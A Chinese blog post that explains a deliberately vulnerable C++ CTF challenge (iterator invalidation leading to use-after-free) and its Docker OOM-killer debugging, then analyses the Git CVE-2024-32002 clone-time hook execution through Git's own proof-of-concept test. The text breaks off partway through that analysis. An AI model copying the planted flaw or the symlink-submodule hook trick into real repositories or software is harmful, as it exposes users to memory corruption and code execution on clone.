一次比赛出题引发的docker学习

起因

因为本次比赛面向的是学校内的学生，并且除了考察能力外，还要兼具宣传CTF和激发学生兴趣的目的，所以我和几个负责出题的战队学弟说，这次题目最好还是要兼具趣味性和技术性，少一点太技巧性的内容。其中在pwn这边负责出题的学弟就想到了一个点子：专门考察漏洞点，只要能触发漏洞点，就会将flag交出。

我当即就觉得想法很好，因为这几年CTF的变化给人感觉有点过于为了竞赛而竞赛。加上竞赛本身被赋予的各种含义，感觉有点不在专注于【探索新技术】这个点。
扯远了，这个题目在各种修改后，其代码大致如下（删掉了一些和本文无关的代码）:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119

class PopMart {
public:
    string name;
    PopMart(string name = "") : name(name) {}
    bool satisfied() {
        cout << "input a number:" << endl;
        int target = rand() % 100;
        int num;
        cin >> num;
        if (num == target) {
            cout << "You got a SSR!" << endl;
            return true;
        } else {
            cout << "You got a R!" << endl;
            return false;   
        }
    }
};

vector<PopMart*> buy_list;


vector<PopMart*>::iterator buyGoods(vector<PopMart*>& popmart_list) {
    cout << "Which one do you want to buy?" << endl;
    string name;
    cin >> name;
    cout << "we will try to new popmart" << endl;
    vector<PopMart*>::iterator find_SSR = vector<PopMart*>::iterator();
    for (auto it = popmart_list.begin(); it != popmart_list.end(); ) {
        PopMart* popmart = *it;
        if (popmart->name == name) {
            cout << "create popmart" << endl;
            PopMart* newpopmart = new PopMart(bandMembers[name][rand() % 5]);
            cout << "create finish" << endl;
            buy_list.push_back(newpopmart);
            if (popmart->satisfied()) {
                find_SSR = std::prev(buy_list.end());
                return find_SSR;
            }
        }
        ++it;
        
    }
    return find_SSR;
}

void init() {
    cout << "Welcome to PopMart Shop!" << endl;
    cout << "try your best to get the bang SSR you like" << endl;
    buy_list.reserve(32);
}

int main() {
    try {
        int id;
        init();
        cout << "plz input your user account:" << endl;
        cin >> id;
        srand(id);
        vector<PopMart*> popmart_list;
        vector<PopMart*>::iterator wanted = vector<PopMart*>::iterator();
        cout << "We have 9 goods for you:" << endl;

        for (int i = 0; i < 9; i++) {
            PopMart* popmart = new PopMart(bandNames[i]);
            popmart_list.push_back(popmart);
        }
        vector<PopMart*>::iterator find_SSR = vector<PopMart*>::iterator();
        while (true) {
            banner();
            int choice;
            cin >> choice;
            switch (choice) {
                case 1: {
                    find_SSR = buyGoods(popmart_list);
                    break;
                }
                case 2: {
                    cout << "Purchased goods:" << endl;
                    for (auto it = buy_list.begin(); it != buy_list.end(); it++) {
                        cout << (*it)->name << endl;
                    }
                    break;
                }
                case 3: {
                    if (chance) {
                        wanted = find_SSR;
                        chance--;
                    } else {
                        cout << "You have no chance!" << endl;
                    }
                    break;
                }
                case 4: {
                    if ((wanted) == vector<PopMart*>::iterator()) continue;
                    cout << "plz input your new name:" << endl;
                    string name;
                    cin >> name;
                    (*wanted)->name = name;
                    break;
                }
                case 5: {
                    cout << "Exiting..." << endl;
                    cout << "Haha! U can't exit!" << endl;
                    break;
                }
                default: {
                    cout << "Invalid choice!" << endl;
                    break;
                }
            }
        }
    } catch (const exception& e) {
        // cerr << "Error: " << e.what() << endl;
        cout << "Error: " << e.what() << endl;
        return 1;
    }
}

上述代码中潜藏着一个C++迭代器错误使用的例子。为了能够让学生们能够更加轻易的识别漏洞，我们将题目调整成一种虽然看起来是正常使用，但是其实也有一点刻意的形式，希望选手在读题的时候察觉到这种可以异常，从而思考漏洞的成因。

漏洞成因

这里简单介绍一下漏洞成因和设计思路。题目中给出的是一个邦多力抽卡商店，其中购买的对象会用全局对象 buy_list存储

1

vector<PopMart*> buy_list;

每次我们购买对应的popmart的时候，我们都会尝试进行一次ssr判定，这个过程其实是要求选手去进行猜测的，本质上是一个随机数预测。当猜中后，程序会将当前buy_list的迭代器返回给选手，否则返回一个无效迭代器

此处就是第一个让人觉得刻意的地方。因为正常情况下思考，此时应当返回对象指针，而并非迭代器。此处异常举动是希望引发选手注意到该题可能和迭代器错误有关

之后除了普通的展示逻辑外，还有常见pwn题的修改功能，在本题中的含义为能对抽到的SSR的名字进行自定义。不过题目此时修改的功能依赖一个全局wanted 迭代器对象，而非指针：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

case 3: {
    if (chance) {
        wanted = find_SSR;
        chance--;
    } else {
        cout << "You have no chance!" << endl;
    }
    break;
}
case 4: {
    if ((wanted) == vector<PopMart*>::iterator()) continue;
    cout << "plz input your new name:" << endl;
    string name;
    cin >> name;
    (*wanted)->name = name;
    break;
}

此处是第二个刻意的地方，强调此时修改的是一个迭代器对象，而非指针，说明漏洞点本质上发生在vector而非Popmart对象中

如果结合上述关于vector和迭代器两个元素，查找漏洞相关的资料（抑或是自己思考直接速通），应该是能够找到相关资料的，关于 C++ 迭代器失效特性的研究以及编程千问》第十六问：迭代器失效你了解吗？，均讨论了这种vector对象迭代器失效的研究，这里简单概括一下题目中的情况:

假定我们的 vector 中有7个元素:

1
2
3
4

+-----+-----+-----+-----+-----+-----+-----+-----+     
| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     
+-----+-----+-----+-----+-----+-----+-----+-----+

此时，我们需要插入一个元素 7。那么在插入元素的时候，实际上vector会发生一次【重分配】，可以简单的理解为进行了realloc的调用， 会分配原来两倍的大小，并且将原先的内存释放掉

1
2
3
4
5
6
7
8
9
10
11
12
13

// 已经被释放
+-----+-----+-----+-----+-----+-----+-----+-----+     
| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     
+-----+-----+-----+-----+-----+-----+-----+-----+



// 重新申请的内存，保证能放得下元素7
+-----+-----+-----+-----+-----+-----+-----+-----+          
| 0   | 1   | 2   | 3   | 4   | 5   |  6  |  7  |     
+-----+-----+-----+-----+-----+-----+-----+-----+
|     |     |     |     |     |     |     |     |     
+-----+-----+-----+-----+-----+-----+-----+-----+

然而，假设我们在释放前，存在一个指针（也就是迭代器）指向了原先的数组，例如

1
2
3
4
5
6
7

        +---- iter
        |
        v
+-----+-----+-----+-----+-----+-----+-----+-----+     
| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     
+-----+-----+-----+-----+-----+-----+-----+-----+

那么当我们插入元素的时候，iter并不会发生改变，那么此时内存布局就变为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// 依旧指向原先的元素
        +---- iter
        |
        v
+-----+-----+-----+-----+-----+-----+-----+-----+     
| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     
+-----+-----+-----+-----+-----+-----+-----+-----+



// 重新申请的内存，保证能放得下元素7
+-----+-----+-----+-----+-----+-----+-----+-----+          
| 0   | 1   | 2   | 3   | 4   | 5   |  6  |  7  |     
+-----+-----+-----+-----+-----+-----+-----+-----+
|     |     |     |     |     |     |     |     |     
+-----+-----+-----+-----+-----+-----+-----+-----+

那此时如果对iter指向的对象进行操作，就会发生UAF，导致漏洞出现

题目希望做题人利用购买来触发vector的内存重分配，并且利用SSR机制来让迭代器遗留在重新申请内存前的位置，从而构造一个UAF场景。最终利用题目中提供的修改机制，访问迭代器对象，最终实现UAF，触发ASAN。

意料之外 - vector导致的崩溃？

为了能够检测asan，出题人准备了如下的检测逻辑，称为runner.cpp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

int main() {
    cout <<"Welcome to Runner!\n";
    pid_t pid = fork();
    
    if (pid < 0) {
        cerr << ANSI_COLOR_RED << "Fork error." << ANSI_COLOR_RESET << endl;
        return 1;
    }
    close(fd);  // 关闭 fd，stderr 已重定向

    if (pid == 0) {
        
        execl("./attachment", "attachment", (char*)NULL);
        perror("exec error");
        exit(1);
    }
    int status = 0;
    waitpid(pid, &status, 0);

    if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
        cout << ANSI_COLOR_GREEN "./attachment exited normally." ANSI_COLOR_RESET << endl;
    } else {
        ifstream flagFile("flag");
        if (!flagFile) {
            cerr << ANSI_COLOR_RED << "Cannot open flag.txt"<< ANSI_COLOR_RESET << endl;
            return 1;
        }
        stringstream buffer;
        buffer << flagFile.rdbuf();
        cout << "now status is " << WEXITSTATUS(status) << endl;
        cout << ANSI_COLOR_RED << "You escaped the shop!" << ANSI_COLOR_RESET << endl;
        cout << ANSI_COLOR_YELLOW << "ASan detected an error! Here is your flag:" << ANSI_COLOR_RESET << endl;
        cout << ANSI_COLOR_GREEN << buffer.str() << ANSI_COLOR_RESET;
    }
    return 0;
}

其中attachment就是题目。题目本身给了源码，可以发现出题人把退出逻辑去掉了，就是希望做题人能够通过触发asan来实现程序退出，就能通过此办法获取flag。

其实仔细看，这个判题逻辑中并未直接判断是否存在asan出错信息，为之后的问题留下伏笔

然而在比赛期间，发生了一些意料之外的事情:

这个题目我也参与了验题，理论上大部分的问题应该排除，但是这里上传大量的数据会导致程序挂掉这点我是没想到的。在vector底层实现里面，有类似如下的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

__int64 __fastcall std::vector<int>::_S_max_size(__int64 a1)
{
  __int64 v2; // [rsp+18h] [rbp-18h] BYREF
  __int64 v3[2]; // [rsp+20h] [rbp-10h] BYREF

  v3[1] = __readfsqword(0x28u);
  v2 = 0x1FFFFFFFFFFFFFFFLL;
  v3[0] = std::allocator_traits<std::allocator<int>>::max_size(a1);
  return *(_QWORD *)std::min<unsigned long>(&v2, v3);
}


__int64 __fastcall std::vector<int>::_M_check_len(__int64 a1, unsigned __int64 a2, const char *a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v10 = a1;
  v9 = a2;
  v13 = __readfsqword(0x28u);
  v3 = std::vector<int>::max_size(a1);
  if ( v3 - std::vector<int>::size(a1) < a2 )
    std::__throw_length_error(a3);
  v4 = std::vector<int>::size(v10);
  v11 = std::vector<int>::size(v10);
  v12 = v4 + *(_QWORD *)std::max<unsigned long>(&v11, &v9);
  v5 = std::vector<int>::size(v10);
  if ( v12 >= v5 && (v6 = std::vector<int>::max_size(v10), v12 <= v6) )
    return v12;
  else
    return std::vector<int>::max_size(v10);
}

可以看到，当我们企图构建巨大的vector的时候，会因为超出数据逻辑而导致崩溃：

1
2

if ( v3 - std::vector<int>::size(a1) < a2 )
  std::__throw_length_error(a3);

理论上来说，确实是一个可能的因素。然而我注意到，队友提到的是上传文件导致的崩溃，这个题目并非是上传的题，也就是这里存在表述错误，那么如何理解上传呢？多次沟通后得知，这里其实使用了

1

cat test.bin | nc 

的方式将一个16g的巨大文件写入了网络流。但是这样就引发了我的一个好奇的点：这种pwn题为了进入这个逻辑，往往是需要多次交互的，难道这个做题人故意生成了一个巨大的文件，里面包含了多次交互逻辑，从而将这个程序撑爆了吗？如果它有这种想法的话，何不直接用脚本写一个循环，类似

1
2

for i in range(1000000):
    buy_obj('a')

这样的逻辑简单得多？所以我这里猜测，可能做题人并非是有意撑坏buy_list这个vector，而是企图撑坏别的对象，那个对象可能会让人联想到文件，所以才会采用文件的方式进行通信。

进一步确认 - bad alloc?

怀着这个疑问，在比赛结束后我也找做题的同学沟通了一下这个事情。他提到说看到原题目中的try catch就联想到了可以使用std::string中可能发生的bad alloc来触发漏洞。这一点倒是符合我的猜想，毕竟这个题目中，在购买逻辑里就有输入名字的要求，也许就是利用了这一点吗？

于是我尝试自己复现，为了可能复现内存耗尽的情况，这里使用了参数约束了容器的内存大小:

1

sudo docker run -p 9999:9999 -m 7M --privileged --security-opt seccomp=unconfined -it pwn /bin/bash       

然而在实际测试中，却发生了奇怪的事情：我发现程序在崩溃的时候，并没有发生期待的asan报错，而是直接打印了flag：

这里让我感觉非常疑惑。根据我们原来的猜测，程序通过bad alloc，然后抛出异常。然而这个过程中理论上需要打印出错信息，这个过程中没有任何错误信息就很奇怪。为什么不能打印错误呢？我产生了以下几种猜想

• 程序本身因为特殊原因，导致无法打印错误流
• 程序本身就没有产生错误信息

其中，第一种原因可以细化成几种原因

• 程序的输入输出流因为读入过量数据损坏了，也许这就是程序崩溃的原因
• 程序有错误流输出，但是因为错误流被劫持了，导致输出看不到

为了一个个定位原因，首先修改了runner.cpp的逻辑，加上了错误流打印:

1
2
3
4
5
6
7
8
9
10
11
12

int fd = open("/tmp/log.txt", O_WRONLY | O_CREAT | O_APPEND, 0644);
if (fd == -1) {
    perror("open log file failed");
    return 1;
}

// 将 stderr 重定向到 log.txt
if (dup2(fd, STDERR_FILENO) == -1) {
    perror("dup2 failed");
    close(fd);
    return 1;
}

然而实际运行至触发的时候，虽然会产生该日志文件，但是文件内容却是空的。这就非常奇怪了，无论哪种报错，程序至少应该要楼下错误信息，这样怎么定位呢。

docker 与 OOM

之后尝试过多种方法，包括但不限于

• 怀疑是runner.cpp将输入流劫持，所以直接使用attachment直接与输入输出流对接。然而这样做会直接导致asan被触发，无法定位错误
• 怀疑xinted会导致asan输出流被劫持，所以替换asan为非asan版本，但是也没能看到其他的输出
• 拖入gdb进行调试，然而gdb会直接报错提示Killed

其中gdb这个错误让我感到异或，我一度以为是gdb版本问题导致的错误，不过这也成了后面一个操作的提示

为了能够完全复现问题，这边试着模仿最初的做题人的思路，使用文件作为输入。这里构建了一个能够完成简单交互的例子，并且之后写入大量数据的文件:

1
2
3
4

with open("test.bin", 'wb') as fd:
    fd.write(b"1\n")
    fd.write(b"1\n")
    fd.write(b"A"*0x1000000 + "\n")

之后再首先的doker环境中，直接使用

1

cat test.bin | ./runner

的方式尝试复现问题，发现其同样报错提示

1

Killed

这个奇怪的现象和gdb非常相似，联想到我们的docker内存大小仅有7M，不禁联想到：这是否是因为内存空间不足导致程序被强制干掉了？使用echo $?检查错误码后会发现，程序错误码为137，也就是收到了SIGKILL信号。咨询gpt后可知，当linux下程序占用过多内存的时候，就会触发OOM Killer，强制终止进程，保证系统正常工作。

这个原因听起来非常合理，因为实际上我们的检测逻辑并非检测是否存在asan报错，而是检查程序的退出码，确认其是否为正常退出，这就意味着，除了程序自身的错误导致的退出外，来自外部信号导致程序退出也会被视为是触发了漏洞，这一点正好对应了无论怎么检查程序都没有找到出错日志这个原因上。

进一步咨询gpt，可以知道为了检查程序是否会因为OOM发生被kill的情况，可以使用指令

1

dmesg | grep -i "killed process"

检查日志，结果确实找到了如下的内容:

1

[13157.135036] runner invoked oom-killer: gfp_mask=0x1100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0                                                                                                     [13157.138313]  oom_kill_process.cold+0xb/0x10                                                                                                                                                                   [13157.146478] [  pid  ]   uid  tgid total_vm      rss pgtables_bytes swapents oom_score_adj name                                                                                                                [13157.148489] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=b8d0b3d7f8a1c3cd8415c3dc27474181ab6a69d4de70d569eeac11cf99f90dc8,mems_allowed=0,oom_memcg=/docker/b8d0b3d7f8a1c3cd8415c3dc27474181ab6a69d4de70d569eeac11cf99f90dc8,task_memcg=/docker/b8d0b3d7f8a1c3cd8415c3dc27474181ab6a69d4de70d569eeac11cf99f90dc8,task=runner,pid=10972,uid=0                                                                     [13157.150468] Memory cgroup out of memory: Killed process 10972 (runner) total-vm:21474910272kB, anon-rss:4476kB, file-rss:1480kB, shmem-rss:0kB, UID:0 pgtables:896kB oom_score_adj:0        

可以发现，确实是docker动的手，强制将目标程序给干掉了。

小科普：OOM Killer 和 cgroup

日志中出现了几个比较特殊的词语，我们在这里简单的介绍一下这些词的含义：

参考这篇文章可知，Linux运行的时候，使用malloc这类函数分配内存的时候，允许分配超出实际可用的物理内存的大小（over-commit memory），因为malloc本质上分配的是虚拟内存地址，只有当真的需要写入数据的时候，Linux才会真的去获取物理内存。这种【预支内存】的方式如果真的导致了进程空间不足，就会强制kill一个正在运行中的程序，从而保证物理内存在足够使用的范围内。这个机制就被称为 OOM Killer

而Cgroup是一种Linux内核提供的机制，用来对单个或者多个程序的内存，cpu等资源进行管理。而docker这种容器正是使用了这个机制对容器进行的管理。当我们docker指定的内存空间（在我们题目中是7M）被耗尽的时候，docker就会尝试触发OOM Killer机制，将cgroup中（也就是当前容器中）的一些进程kill掉，从而保证内存消耗不会超出我们的指定需求

总结

绕了一大圈定位出问题，发现似乎并非程序本身的问题，而是因为docker的防护机制导致的程序退出。不过此次探索这也揭露了一些有趣的事情，比如为什么很多出题人都会限制可读入数据的大小（使用cin.get(size)而不是直接让程序读入数据），亦或者在检测asan出错的时候，会严格限制输出内容需要包含asan的字符串，而不是直接检查程序的错误码。这些设计可能更多的是为了保证整体程序运行能够符合程序逻辑，从而减少非预期的出现。

Git 也能 RCE – CVE-2024-32002

漏洞描述

官方描述为

Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. If symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won’t work. As always, it is best to avoid cloning repositories from untrusted sources.

从描述中，可以摘取几个关键内容

• 该漏洞由符号链接引发
• 漏洞涉及submodule
• 本该涉及submodule的操作最后指向了.git目录，最终导致了漏洞的发生
• git clone过程中将会引发hook，导致恶意利用发生，因此用户可能不能及时的看到恶意代码的行为
• git hook将会参与整个漏洞的利用链

总结一下，漏洞发生在git clone阶段，并且操作对应的submodule模块，因为漏洞的原因，未将数据写入对应目录，而是将数据写入.git目录，并且最终触发了一个hook脚本，导致了漏洞的发生。

git基础补习

如果想要看懂这个洞，需要对git的目录结构要有基本的认知。如果对这一部分知识了解，可以直接跳到漏洞成因

当我们执行git clone操作的时候，实际上执行了以下几个操作

1. 创建指定的仓库名字mkdir -p <path>
2. 初始化git仓库git init
3. 添加远程仓库git remote add origin <url>
4. 下载对象引用等git fetch origin
5. 创建远程跟踪分支git branch --track <branch> origin/<branch>
6. 检出默认分支git checkout <branch>

实际上，代码文件在第4步就会被下载下来，并且存放在.git文件中，之后由对应的branch和checkout操作来进行编辑组合。举个例子来说，假设我们现在有一个空仓库叫做main-repo，此时我们在其中创建文件main.txt，main.txt中包含内容

1

main testintg

在未commit的时候，此文件结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

├── .git
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── hooks // 省略这其中的文件
│   ├── info
│   │   └── exclude
│   ├── objects
│   │   ├── info
│   │   └── pack
│   └── refs
│       ├── heads
│       └── tags
└── main.txt

此时，如果我们将这个修改commit之后，目录结构会变成如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

.
├── .git
│   ├── COMMIT_EDITMSG
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── hooks // 省略其中的内容
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
│   │   ├── HEAD
│   │   └── refs
│   │       └── heads
│   │           └── master
│   ├── objects
│   │   ├── 0c
│   │   │   └── 202734567eabc38e3465a1326a7074264e62db
│   │   ├── 4b
│   │   │   └── 825dc642cb6eb9a060e54bf8d69288fbee4904
│   │   ├── 68
│   │   │   └── c0443c8b532833b48a835215ff1f2dac33af2a
│   │   ├── af
│   │   │   └── 21301bdaa5b13a83f26ed8a7eee5f60f06c8d4
│   │   ├── info
│   │   └── pack
│   └── refs
│       ├── heads
│       │   └── master
│       └── tags
└── main.txt

此时我们的commit 如下

1
2
3
4
5

commit 68c0443c8b532833b48a835215ff1f2dac33af2a (HEAD -> master)
Author: 
Date:   Sat May 25 10:19:03 2024 +0800

    Add main.txt

可以看到，commit正对应着目录68，而文件名正好就是68后面的一串hash，可以看到这些目录和log存在一定的对应关系，这些关系是什么呢？这就要牵扯到git的本质

git 对象管理

git本质上是一个类文件管理系统，其使用一种称为对象模型的方式来存储数据。主要的 Git 对象类型包括：

• Blob（Binary Large Object）：存储文件的内容。
• Tree：存储目录结构和文件名到 blob 引用的映射。
• Commit：存储指向 tree 对象的引用，以及提交信息（如作者、日期、父提交等）。

使用指令

1

git cat-file -p 目录名+文件名

即可查看对应的文件内容（这里文件名和git默认规则一样，不需要敲全）
我们检查之前提到的68目录下的文件，可以看到内容为

1
2
3
4
5
6

git cat-file -p 68c0443
tree 0c202734567eabc38e3465a1326a7074264e62db
author  1716603543 +0800
committer  1716603543 +0800

Add main.txt

这种文件就被称之为commit。然后可以看到其指向了一个叫做tree的对象，正好也对应了一个目录和文件，尝试访问可以得到如下结果

1
2

git cat-file -p 0c20
100644 blob af21301bdaa5b13a83f26ed8a7eee5f60f06c8d4    main.txt

这个就是tree，表示对一个blob的引用，我们最后查看对应的blob

1
2

git cat-file -p af21
main testintgl

正是我们文件的内容。git正是使用了这种层级的对象管理机制，将所有的内容关联起来。

submodule

有些时候，我们可能要再一个仓库中引用另一个仓库的内容，这个库可能是一个基础库，会在多个库中被使用，例如压缩，日志打印等等，为了能够正确处理上述的场景，在git中，支持将另一个仓库作为submodule引入到当前库中。

在讨论子模块之前，我们需要区分为三个概念

• 子模块的名字，体现在--name参数上，我们这里写作<name>
• 子模块的路径，这个为倒数第二个参数，这里写作<submodule_repo>
• 子模块在主仓库中的名字，这里写作<submodule_path>

之后我们会反复使用这三个概念来描述不同的术语。

例如我们有另一个库，叫做submodule-repo，里面有一个文件叫做submodule.txt，内容如下

1
2
3
4
5
6
7
8
9
10

cat .\submodule.txt
"This is the submodule"

git log
commit fb0721550dd927a7d312d8bdcf14b98da9916c46 (HEAD -> master)
Author: 
Date:   Fri May 24 19:52:19 2024 +0800

    Initial commit in submodule

此时文件结构如下

1
2
3
4
5
6
7
8
9

.
|
+-main-repo
| |
| +-main.txt
|
+-submodule-repo
  |
  +- submodule.txt

此时，假设我们想将其引入到我们主要仓库中，我们可以这样做

1. 将其作为一个叫做submodule的库，添加到当前的库中

1

git submodule add ../submodule-repo submodule

2. 提交修改

1

git commit -m "Add submodule"

那么此时，我们上面提及的三个参数分别为

• name:submodule
• submodule_repo:…/submodule-repo
• submodule_path: submodule

此时我们再次检查main-repo的目录，结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

.
├── .git
│   ├── COMMIT_EDITMSG
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── hooks // 隐去部分内容
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
│   │   ├── HEAD
│   │   └── refs
│   │       └── heads
│   │           └── master
│   ├── modules
│   │   └── submodule
│   │       ├── HEAD
│   │       ├── config
│   │       ├── description
│   │       ├── hooks // 隐去部分内容
│   │       ├── index
│   │       ├── info
│   │       │   └── exclude
│   │       ├── logs
│   │       │   ├── HEAD
│   │       │   └── refs
│   │       │       ├── heads
│   │       │       │   └── master
│   │       │       └── remotes
│   │       │           └── origin
│   │       │               └── HEAD
│   │       ├── objects
│   │       │   ├── 00
│   │       │   │   └── 7744580def9ad1f0a8af7b6e41817d3c0e46a1
│   │       │   ├── c0
│   │       │   │   └── 26d12e4c219329af50ca23d0f4d86f6f21d09e
│   │       │   ├── fb
│   │       │   │   └── 0721550dd927a7d312d8bdcf14b98da9916c46
│   │       │   ├── info
│   │       │   └── pack
│   │       ├── packed-refs
│   │       └── refs
│   │           ├── heads
│   │           │   └── master
│   │           ├── remotes
│   │           │   └── origin
│   │           │       └── HEAD
│   │           └── tags
│   ├── objects
│   │   ├── 0c
│   │   │   └── 202734567eabc38e3465a1326a7074264e62db
│   │   ├── 4b
│   │   │   └── 825dc642cb6eb9a060e54bf8d69288fbee4904
│   │   ├── 4d
│   │   │   └── 05ef05a10102a0e12b516af4fd978d40f05eb0
│   │   ├── 68
│   │   │   └── c0443c8b532833b48a835215ff1f2dac33af2a
│   │   ├── af
│   │   │   └── 21301bdaa5b13a83f26ed8a7eee5f60f06c8d4
│   │   ├── info
│   │   └── pack
│   └── refs
│       ├── heads
│       │   └── master
│       └── tags
├── .gitmodules
├── main.txt
└── submodule
    ├── .git
    └── submodule.txt

可以发现，在main-repo目录中新增了如下内容

• 根据submodule_path创建的submodule目录，里面包含了submodule-repo的内容，其中这里的.git为符号链接，指向../.git/modules/submodule，也就是<target_repo>/.git/modules/<name>这个路径
• .gitmodules文件
• .git目录中新增了modules，里面包含了一个由<name>命名的submodule的目录，如果此处使用了--add name，此时目录名字会被替换成name；这个目录中包含的是submodule-repo中.git的全部内容

这里的.gitmodules文件记录了当前submodule的基本情况

1
2
3

[submodule "submodule"]
        path = submodule
        url = ../submodule-repo

• 引号部分记录的正是<name>``submodule_name，如果我们此处加了参数--add name，那么引号部分将会被替换成name
• path 中记录了模块在这个仓库中的路径<submodule_path>，也就是我们最后跟着的参数，这个是【submodule实际的存放路径，以及检出后存放的路径】
• url 中则记录了对应的路径<submodule_repo>，是倒数第二个参数

同时我们也注意到，此时git会将子目录中的.git放到当前目录的.git中，存放规则为

1

.git/modules/<name>

<name>的命名支持为多级路径，例如如果命名为path1/path2，则此时存放路径就会变为

1

.git/modules/path1/path2

整个submodule的clone过程，根据逆向分为两个部分

1. 尝试将对应仓库的.git单独clone下来，但是不进行checkout，根据分析代码，其指令大致如下

1

git clone --no-checkout --progress --separate-git-dir <target_repo>/.git/modules/submodule --no-single-branch -- <submodule_path> <target_repo>/<name>

2. 完成clone之后，最终会根据指定的branch，将内容进行checkout，最终释放对应的文件内容

hooks

之前的展示中特意跳过了hooks这个目录，因为这个目录中有很多脚本的样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

+── hooks
   ├── applypatch-msg.sample
   ├── commit-msg.sample
   ├── fsmonitor-watchman.sample
   ├── post-update.sample
   ├── pre-applypatch.sample
   ├── pre-commit.sample
   ├── pre-merge-commit.sample
   ├── pre-push.sample
   ├── pre-rebase.sample
   ├── pre-receive.sample
   ├── prepare-commit-msg.sample
   ├── push-to-checkout.sample
   └── update.sample

这些脚本会在git的某个操作阶段执行。例如pre-push这个名字的脚本会在git执行push指令前执行，commit-msg则是在commit阶段会执行。我们之后的攻击中会涉及一个叫做post-checkout的脚本，这个脚本会在checkout操作后执行。

漏洞成因

漏洞本质上是由于git在进行clone的时候，在repo整体拷贝过程中，由于Windows或者MacOS操作系统大小写不敏感的特点，主repo中用于存放子模块的目录被另一个指向.git目录的同名符号链接覆盖，导致往子模块写入数据的时候，全部都写入了.git目录中，最后配合hook脚本完成隐蔽的攻击。

漏洞复现的时候，需要进行如下的配置才能生效

1
2
3
4
5

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 

并且，如果想尝试在Windows下复现，git需要获得管理员权限才能进行符号链接的创建。
在官方的仓库中，给出了针对这个漏洞的poc用作测试用例，我们可以从检测脚本中一窥究竟。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
'

脚本的前半段添加一个叫做hook的仓库，这个仓库添加完以后目录结构如下

1
2
3
4

.
└── y
    └── hooks
        └── post-checkout

这里会注意到一个很有趣的现象，这个路径有意的在模仿.git的目录结构，尤其是hooks/post-checkout，当然，由于这个脚本本身并未放在本仓库的.git目录中，当这个仓库被clone的时候脚本并不会被触发。

后半段的部分比较精妙，我们来仔细讲解一下。首先创建了一个叫做captain的仓库，然后调用了这个指令

1

git submodule add --name x/y "$hook_repo_path" A/modules/x 

我们根据之前的做法，确认三个参数对应的值

• <name>:x/y
• <submodule_repo>:"$hook_repo_path"
• <submodule_path>:A/modules/x

当调用这个指令之后，git会做如下的事情

• 在captain目录中创建一个叫做A/modules/x的子目录，这个目录将会存放来自"$hook_repo_path"(也就是前面添加的hook仓库)中的所有内容
